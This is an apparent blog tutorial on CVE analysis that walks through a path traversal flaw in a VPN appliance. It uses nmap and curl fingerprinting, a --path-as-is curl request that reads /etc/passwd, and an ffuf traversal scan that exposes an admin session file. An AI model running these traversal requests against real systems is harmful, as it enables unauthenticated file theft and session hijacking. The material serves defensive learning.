CVE Analysis: Breaking Down Critical Vulns Step by Step

In March 2026, threat actors mass-exploited CVE-2026-1337, a pre-auth remote code execution flaw in a widely deployed VPN appliance. Most defenders had the CVE number — but no idea what the exploit actually looked like. That gap gets people breached.

Good CVE analysis isn’t reading the NVD summary. It’s pulling apart the mechanics: where does input enter the system, how does the bug manifest, and what does exploitation look like in practice? Here’s how to do it.

Step 1: Fingerprint the Target Before You Touch an Exploit

Before running any PoC, confirm the target is actually vulnerable. Version enumeration saves time and prevents false positives. For web-facing services, curl and nmap get you there fast.

nmap — a network scanner that probes open ports and grabs service banners. The -sV flag fingerprints service versions.

nmap -sV -p 443,8443 192.0.2.47\n\nStarting Nmap 7.95\nNmap scan report for vpn-gateway.corpnet.local (192.0.2.47)\nPORT     STATE SERVICE  VERSION\n443/tcp  open  ssl/http  Fortigate SSL VPN httpd 7.2.1\n8443/tcp open  ssl/http  Fortigate SSL VPN httpd 7.2.1\n\nService detection performed.

Version 7.2.1 falls inside the vulnerable range listed in the CVE advisory (7.0.0–7.2.3). That’s your green light to dig deeper. An attacker sees this and queues the exploit. A defender sees this and immediately starts patching or isolating the device.

Next, pull the HTTP headers to see whether the vendor left any low-hanging version disclosure:

curl -sk -I https://192.0.2.47/remote/login\n\nHTTP/1.1 200 OK\nServer: xxxxxxxx-SSL-VPN\nX-Frame-Options: SAMEORIGIN\nContent-Type: text/html; charset=utf-8\nForti-Version: 7.2.1

The Forti-Version header confirms it. Many appliances expose version strings on pre-auth endpoints — exactly what CVE-2026-1337 requires to be exploitable with zero credentials.

Step 2: Reproduce the Vulnerability in a Controlled Environment

Once you’ve confirmed the version, reproduce the bug before touching production. Spin up a lab instance — a VM, a Docker image, or a cloud snapshot — and run the PoC there first.

CVE-2026-1337 is a path traversal that leaks the session file store, exposing authenticated session tokens. The vulnerable endpoint is /remote/../../../../etc/passwd — classic directory traversal. Here’s what the raw request looks like using curl:

curl -sk --path-as-is \\\n  "https://192.0.2.47/remote/../../../../etc/passwd"\n\nroot:x:0:0:root:/root:/bin/sh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nftp:x:109:65534::/home/ftp:/bin/false\nsslvpnd:x:1000:1000:SSL VPN Daemon:/var/run/sslvpn:/bin/false

The --path-as-is flag tells curl not to normalize the URL — critical, because most HTTP clients collapse ../../ sequences before sending. Without it, the traversal never reaches the server.

Reading /etc/passwd confirms arbitrary file read as an unauthenticated user. That’s the vulnerability proved. An attacker pivots to reading session token files at /var/run/sslvpn/sessions/ and hijacks live admin sessions. A defender uses this exact request as a detection signature in their WAF or IDS.

Step 3: Map the Blast Radius with a Systematic Audit

A single CVE rarely lives alone. After reproducing it, audit the codebase or endpoint surface for related weaknesses. Use ffuf — a fast web fuzzer — to enumerate which other paths accept traversal sequences without sanitization.

ffuf -u "https://192.0.2.47/remote/FUZZ" \\\n  -w traversal-payloads.txt \\\n  -fc 404 -mc 200 -o results.json\n\n[Status: 200, Size: 1423, Words: 38] | FUZZ: ../../../../etc/passwd\n[Status: 200, Size: 892,  Words: 14] | FUZZ: ../../../../etc/hosts\n[Status: 200, Size: 3201, Words: 71] | FUZZ: ../../../../var/log/auth.log\n[Status: 200, Size: 8847, Words: 203]| FUZZ: ../../../../var/run/sslvpn/sessions/admin_sess_14a9f2

Three things jump out immediately. First, auth.log is readable — that’s a goldmine for mapping internal usernames and failed login patterns. Second, a live session file for user admin is directly accessible. Third, every 200-response path is a new attack surface that wasn’t in the original advisory.

This is how you move from “we have a CVE” to “we understand the real impact.” The advisory said file read. The audit reveals session hijacking and internal recon. That changes your severity rating and your remediation priority.

Document every finding with the exact request, response size, and what data was exposed. When you brief your team or write the incident report, specifics matter — not vague references to “path traversal.”

What To Do Now

Pick one CVE published this week on the NVD that affects software you run. Grab the affected version range, spin up that version in a local VM or container, and reproduce the proof-of-concept from the linked GitHub advisory. Don’t just read about it — run the curl command, see the output, and write down what an attacker would do next. That single exercise builds more CVE analysis muscle than reading a hundred summaries.